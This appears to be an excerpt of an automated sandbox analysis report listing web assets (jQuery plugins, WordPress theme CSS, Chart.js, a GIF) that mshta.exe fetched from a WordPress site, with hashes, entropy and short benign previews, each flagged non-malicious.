                                                              Encrypted:false
                                                              SSDEEP:384:6zEjb38fdvqEqHLOB7/Y1zicwyWda6lo7iMrpLtwSO2BAw1EFO:6838fdvqEqCBk1zzWda6loeMdLt9O5bA
                                                              MD5:9EC3C315B67F434AABC4DA58EABC6C3A
                                                              SHA1:51B3A7D882F438D53DC69CA5289E92254160C09A
                                                              SHA-256:0C853C2CC205BAFE5D893017B6A03A2ACF0F04A11B85F80605514CF0AE540FE6
                                                              SHA-512:75317411016A28DFF4E7A1D68F7B604B7B08E0BE90038C3039493123FE2A89EBBFC084E1E15C029CBADCB64EFAD2A122307957D8BA51E17EF42FFF35A8A3922C
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2
                                                              Preview:/*. * jQuery FlexSlider v2.2.2. * Copyright 2012 WooThemes. * Contributing Author: Tyler Smith. */.!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window||f||window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide||d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.count=d.slides.length,d.syncExists=a(d.vars.sync).lengt

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.magnific-popup.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):20669
                                                              Entropy (8bit):5.2808077876911295
                                                              Encrypted:false
                                                              SSDEEP:384:3ORjoixwByWeRZELR0oXnl0HFuG/76GIPGQHv5clO9sdG:3CZHEf6FuG/0um5cAQG
                                                              MD5:588A4C7A711E01405E02B4E2F8E1B2D6
                                                              SHA1:263D200778CB34026816AE5A7718C5AE4F6AEC49
                                                              SHA-256:C9E8F0F8A438833EF971B7482991C681FFB7FB5BFF9B16CEADB22AD7C174A29E
                                                              SHA-512:86DBD71D944B3F03F20A62E57E1CFA202D306E97102C6EB2EADE78D672E43227B1C6508B799AD88FB0D3516664CF4726D3E9C1119D5A05381B48A3912E34E688
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
                                                              Preview:/*! Magnific Popup - v0.9.3 - 2013-07-16.* http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2013 Dmitry Semenov; */.(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currTemplate.closeBtn},P=function(){e.magnificPopup.instan

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.mobilemenu[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:HTML document, ASCII text
                                                              Category:downloaded
                                                              Size (bytes):2074
                                                              Entropy (8bit):5.0968137085902505
                                                              Encrypted:false
                                                              SSDEEP:48:MD00ieaw9PS+mQeavhBFxQDgaQEqMeDPs11Uix4gWl5aBn2vUys2O:6haw9PS+oenaDQEqMeDPuUG++2K2O
                                                              MD5:77DDDC6C72834DC757EB755B46C00F8D
                                                              SHA1:894745AF5CF26EB10DFE28F3BB0C6B2C7B0C286B
                                                              SHA-256:C5F36FC1D0410B310F27E21BA0C948B9E6914F41C119D02C4629CA894D177A1E
                                                              SHA-512:D13DE2DF355B214C25943E1859C595CBF51AF4854E94093B457B2C99DA66D9F9308DA8A94404F4240811B1A50BA3C2A28316E460964C3A5C0EDCC3B2F03161B3
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
                                                              Preview:/**. * jQuery Mobile Menu. * Turn unordered list menu into dropdown select menu. * version 1.0(31-OCT-2011). *. * Built on top of the jQuery library. * http://jquery.com. *. * Documentation. * http://github.com/mambows/mobilemenu. */.(function($){..$.fn.mobileMenu = function(options) {...var defaults = {.....defaultText: 'Navigate to...',.....className: 'select-menu',.....subMenuClass: 'sub-menu',.....subMenuDash: '&ndash;'.....},....settings = $.extend( defaults, options ),....el = $(this);....$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')....this.each(function(){....// ad class to submenu list....el.find('ul').addClass(settings.subMenuClass);.....// Create base menu....$('<select />',{'class':settings.className}).insertAfter(el);.....// Create default option....$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );.....// Create select option from menu...

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.simplr.smoothscroll.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):946
                                                              Entropy (8bit):5.1855423510973475
                                                              Encrypted:false
                                                              SSDEEP:24:2GPs6G3ILAMbiEm8QKov1mxulWM8cQ2x17JxrIv:24EMeLQxuj8cQUjVS
                                                              MD5:72944D2F940D2AB8DFDCAA537A9ECDEE
                                                              SHA1:D94FA468B83F9B76EB8F97CEFC6312FBD173A848
                                                              SHA-256:547887F6237649D22B102EDD455869D14A02D3B393CFF5A5886624E4D08DCB3A
                                                              SHA-512:58D77C35684959DBF8B70452CA0D74AE94233055959A3663C44CEC2511045E9BE4665C7F02A0E1DB1B8F2209BD89089FE438EB51F36257F832EC707BC4419C4E
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0
                                                              Preview:/* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */..jQuery(document).ready(function($) {. if(!device.mobile() && !device.tablet()){. $.srSmoothscroll({. step:150,. speed:800. });. }.});..;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' || platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t||{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\parallax[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):403
                                                              Entropy (8bit):4.793570624792053
                                                              Encrypted:false
                                                              SSDEEP:6:Mwq7sFnOst7+pArYTKfZ0ArB3Ozgr9sjrez5yzNLAWzlYTrw5SN3FLmiYR0vY:MDZs5ybn3grwOQZRzlymiYR0A
                                                              MD5:D836CAC74A1D9528BE73EE745D64B8CA
                                                              SHA1:D8269C3090161BAA21C97DF370E32C68F512C1A8
                                                              SHA-256:E3BAB86A4895EB161114F42EC7EBD54534D90ED21691B986AB7C7C6C5DD1D57C
                                                              SHA-512:966C80EC83F820D8EDA03CD01ABBBEBA8C79AE5098777E533F7A38134379CF921E25B3C17837502D34CD69B002009F955740FF30D7ED8DB76776B421BE48E501
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
                                                              Preview:body .main-holder {..overflow: hidden;..position: static;.}..parallax-box {..position: relative;.}..parallax-content {..position: relative;..z-index: 2;.}..parallax-bg {..position: absolute;..overflow:hidden;..top: 0;..left: 0;..width: 100%;..height:100%;.}..parallax-bg-inner {..position:relative;..background-repeat: no-repeat;..background-size: cover;..background-position: center;..max-width:none;.}

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\style[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):369
                                                              Entropy (8bit):4.540020121615135
                                                              Encrypted:false
                                                              SSDEEP:6:U2LyinnK9NPF3SgcIdRVOlasFoybT4vF3Sg2OjC/ir7Ql3Q8sC:U2Llnn8PF3fnVO4sF1XMF32WiwC
                                                              MD5:894A154E267382CF65B478B759115923
                                                              SHA1:ECFFCAEAC680371DF912387314F648F2DA111E19
                                                              SHA-256:875858A39A88A7E765F15CF95E6B8CCD5D647C5617F7241C8637959ECAA1508C
                                                              SHA-512:02F39EB5B6C33DC76C6900644F58D69DAD08BE287409D23BA64963EA6105DF9ECE46128DD5A2731E5675E0DC7CA7ABE9485E8E5CB22ADE6303840ECCB2544FEC
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/style.css
                                                              Preview:/*--..Theme Name: theme51253..Theme URI: http://info.template-help.com/help/..Description: A theme for Wordpress 4.4.x..Author: Template_Help.com..Author URI: http://info.template-help.com/help/..Template: CherryFramework..Version: 3.1.5.--*/../* ----------------------------------------..Please, You may put custom CSS here.---------------------------------------- */.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\style[2].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):523
                                                              Entropy (8bit):4.974103937872525
                                                              Encrypted:false
                                                              SSDEEP:12:UunKwXaF3fnVnDF1XHXaF3ZXm6FgJF+pCGdj+YzWIhXCqrI5kgO0x:1KwSPDtSkQDCujIRD5kp0x
                                                              MD5:725008F7D019079BD5FDF435862F0AF5
                                                              SHA1:0DC4AF129ECEAEE15B583F6F458AD7BD74988C4D
                                                              SHA-256:5239B049D3CE0714FAF43DBDB19E1D8ADC0722AC05962AAA73215A9F4D87E8D0
                                                              SHA-512:EA73CD39491E07FA099CE2508575447B0120DD919CCEEF4AEB831D064F75480BFF20C6F866E6075E25DE5A35526AAB1FC8E7ED069F7B5FF999DF3EC8D28F1BDA
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
                                                              Preview:/*..Theme Name: cherry..Theme URI: //info.template-help.com/help/..Description: A theme for Wordpress 3.8.x..Author: Template_Help.com..Author URI: //info.template-help.com/help/..Version: 3.1.5.1..Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready..License:..License URI: http://..Text Domain: cherry.*/.@import "css/style.css";.

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\styles[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):1743
                                                              Entropy (8bit):5.077735166460529
                                                              Encrypted:false
                                                              SSDEEP:24:XVrYR0dTwSJ3zdUB4y45bkR/y/CXqprQW0Lp4FqjNrrKsTwRX5xIWJoDxVPToVpB:XVrAMLeR6/WqprQWEpfNrnwx5NYVLo/B
                                                              MD5:EC96E53E57B5D34F762D567CDB29A312
                                                              SHA1:33D59800F24B9967590354A7B47B37000DC5A5CC
                                                              SHA-256:A559BA07F12AEDA335CA811BB96B6F57B555815A835FE5F86AD6E7F166190E6D
                                                              SHA-512:026480FEB9493F463E9C7EC8E6FCB4F4F7706E71DC4F90EE0E74C30BD5C930535C3D329A20AB241E54E5FCF9A510F43081149449F4983DBC274BD155AE1A2F78
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
                                                              Preview:div.wpcf7 {..margin: 0;..padding: 0;.}..div.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..height: 1px;..width: 1px;..margin: 0;..padding: 0;..border: 0;.}..div.wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #ff0000;.}..div.wpcf7-mail-sent-ok {..border: 2px solid #398f14;.}..div.wpcf7-mail-sent-ng,.div.wpcf7-aborted {..border: 2px solid #ff0000;.}..div.wpcf7-spam-blocked {..border: 2px solid #ffa500;.}..div.wpcf7-validation-errors,.div.wpcf7-acceptance-missing {..border: 2px solid #f7e700;.}...wpcf7-form-control-wrap {..position: relative;.}..span.wpcf7-not-valid-tip {..color: #f00;..font-size: 1em;..font-weight: normal;..display: block;.}...use-floating-validation-tip span.wpcf7-not-valid-tip {..position: absolute;..top: 20%;..left: 20%;..z-index: 100;..border: 1px solid #ff0000;..background: #fff;..padding: .2em .8em;.}..span.wpcf7-list-item {..display: inline-block;..margin: 0 0 0 1em

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\superfish[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):2913
                                                              Entropy (8bit):5.1479046643148605
                                                              Encrypted:false
                                                              SSDEEP:48:uDmDV1xEm0TSDDdVVsIro4VmfYIy8G7HzjiYqcq6nQxzRqnICijh2eqicoj:uDmDOjKDdVpro4VmmjiYPq2ICQdcoj
                                                              MD5:259022BDE29C49E9D273D33493BD7B01
                                                              SHA1:16A4305C60037A05644EEF5BD7C1AFC5BBD5D74A
                                                              SHA-256:6301E8E9AB12CACCBF4EB772E114D56F4BDF3A27875CDCAB57E8E8AF5E04CB5A
                                                              SHA-512:9E627852C7F6AF6EFA7BB74A812875D5907A8EFCAFF761EA815A99281EE2076233103A701319637417B1FC923E27658DD7F701CCCBDA9F9B1C06A8644CE18A73
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
                                                              Preview:(function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> &#187;</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type||"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,.e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type||"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m=function(c){var b=a(this

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\warning[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:GIF image data, version 89a, 36 x 38
                                                              Category:dropped
                                                              Size (bytes):1062
                                                              Entropy (8bit):4.517838839626174
                                                              Encrypted:false
                                                              SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                              MD5:124A9E7B6976F7570134B7034EE28D2B
                                                              SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                              SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                              SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                              Malicious:false
                                                              Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\warning[2]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:GIF image data, version 89a, 36 x 38
                                                              Category:dropped
                                                              Size (bytes):1062
                                                              Entropy (8bit):4.517838839626174
                                                              Encrypted:false
                                                              SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                              MD5:124A9E7B6976F7570134B7034EE28D2B
                                                              SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                              SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                              SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                              Malicious:false
                                                              Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\wp-emoji-release.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):11943
                                                              Entropy (8bit):5.096253847639827
                                                              Encrypted:false
                                                              SSDEEP:192:WuKiKqdccoXJW+TJr3J//bEvAbWXXR6AooHyrOUVsbEJEoesM0m3dJXWP/2//:0qlkJW+TJr3J//bEI+XgA5UCOeffJmW3
                                                              MD5:FE0575B66568074463F12485D90F6D4C
                                                              SHA1:AEEDD9AB3B7874E63F647042963CB1301A38B391
                                                              SHA-256:647A6B36F3FD1F21BAE171270111096B4613C23A47E6621628A51BAE9C82B0B7
                                                              SHA-512:0D209CBC9550CFCF49CA7CA5A1243E1578C0A42F9FB28C1FA8D353CEA26F24EED282547F47FE858126E1BA9A4AA4D8DDBD2CBDEF9DB5A45F24CFBFD6383BFF9E
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
                                                              Preview:// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c||"ownerSV

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\chart.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):19761
                                                              Entropy (8bit):5.458312135639062
                                                              Encrypted:false
                                                              SSDEEP:384:bpO1nM9u0BDwt0u/9jydPsRKiyd+sbyWwDHdQPy0MaryWuDHdQ1Q58:Gwumwt0uVmeKIsiKpAaH
                                                              MD5:6806368C6A0BF73A5236B452FD5C2332
                                                              SHA1:250B6DE151107A11DA015D052CE89D1FE042F23D
                                                              SHA-256:835526E45335B67067D09FEF4876BEB46F6557A357CD6F3EDA61284612983A0D
                                                              SHA-512:D4278F7706EE8631F4DCD910D6247E4A80D1B6BD20B3484F23A039779F951B75BA62EE379EDAE9D4FF6D06A9814F96122481539DF590D9F8E781F4E4C3876D6B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
                                                              Preview:var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.steps*c.stepValue),1,0);return b*c.steps*a}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=.Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1*Math.pow(10,a)))*Math.pow(10,a);e=Math.ceil(e/(1*Math.pow(10,a)))*Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b||d>c;)a=d<b?a/2:2*a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\cherry-plugin[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):31422
                                                              Entropy (8bit):5.000880526077528
                                                              Encrypted:false
                                                              SSDEEP:768:TFGFeFRavlJesa3UrJB2ZJFqxF1lFGFesjFXF643F933gVFAMF9J:TIEra9gsa3UrJB2ZJMzlIEsjhEoL33U1
                                                              MD5:8ADC9563E564E9A3DE844DF686CAE8A5
                                                              SHA1:B97B5FCAD7BEA9E7D88B0462AAA9D3D24376C3E8
                                                              SHA-256:B04E93D31D6325159B13956EA9CF31A8B1DB7A02AFD91E781609ADFA651AEF18
                                                              SHA-512:C4406AFE68209188474D5960A5DB5E9769E001C648D8B70C9204A3FB6EA7D4F161CD5FA2D349024F7B9F5E9AD145E51A91DD285CE062742CBA29A106C68D03C8
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
                                                              Preview:/* #Shortcodes.================================================== */./* Recent Posts Shortcodes.---------------------------------------- */..recent-posts {. overflow: hidden;. margin: 0 0 0 -20px !important;. padding: 0;. border: none;. list-style: none;. /* Images Format Type */. /* Quote Format Type */. /* Link Format Type */. /* Audio Format Type */. /* Video Format Type */.}..recent-posts_li {. margin: 0 0 20px 20px;. padding: 0;. border: none;. background: none;. list-style-type: none;.}..recent-posts_li .featured-thumbnail {. float: left;. margin: 0 20px 0 0;.}..recent-posts_li h5 {. margin-bottom: 0;. font-size: 1em;.}..recent-posts_li .excerpt {. margin-bottom: 1.5em;.}..recent-posts_li .meta {. display: block;. overflow: hidden;. margin-bottom: .5em;. color: #888;. text-transform: uppercase;. font-size: 10px;.}..recent-posts_li .post-date {. float: left;.}..recent-posts_li .post-comments {. float: right;.}..recent-posts .format-image {. float: left

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\cherry.parallax[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):12158
                                                              Entropy (8bit):3.592754771957016
                                                              Encrypted:false
                                                              SSDEEP:192:t3BO6DYHSCIGSNHsVgqdAy3Ho4y+JFynA/RMAPAdLP3fbXchcRiiAf:x3wgkdn4Chv
                                                              MD5:9DFB3EE198D0B5AD45C2A0BCD6BF803B
                                                              SHA1:C90AFF5CC613C7308E0AD69F62B31E19FEFEE4EF
                                                              SHA-256:89FCE279C9EA9D6232EE5A76067340817EF1A0FD4555FAC18095A202BB6DA952
                                                              SHA-512:1155CC8C04C090E7ADC600D3473C481C66041EBB60DDC8189754E6EC61AB49120F3F9505250FA2CFC164AA91F9863E3F4C405381568B33DAC8346D1BA8652F41
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
                                                              Preview:jQuery(document).ready(function($){. . parallax_box = $('section.parallax-box');. if(parallax_box.length > 0){. ParallaxBox();. }. . function ParallaxBox(). {. var windowSelector = $(window),. documentSelector = $(document),. documentWidth = documentSelector.width(),. windowHeight = windowSelector.outerHeight(),. liteMode = false,. ieVersion = getInternetExplorerVersion();. . var ds = document.documentElement;. . if(!device.mobile() && !device.tablet()){....liteMode = false;. . if (ieVersion !=-1 && ieVersion < 9){. liteMode = true;. }...}else{....liteMode = true;...}. . parallax_box.each(function(). {. parallaxBox($(this));. });. . function parallaxBox(obj){. . var obj_bg = obj.find('.parallax-bg'),. type = obj_bg.data('parall

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\css[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):152
                                                              Entropy (8bit):5.082226381168297
                                                              Encrypted:false
                                                              SSDEEP:3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
                                                              MD5:2BC56AB743AAE5AAC9AAC55D0850AAC5
                                                              SHA1:BFB989317C6BAAE1BAD28B90D9535B19BE847827
                                                              SHA-256:5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
                                                              SHA-512:FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
                                                              Malicious:false
                                                              IE Cache URL:http://fonts.googleapis.com/css?family=Lato&subset=latin
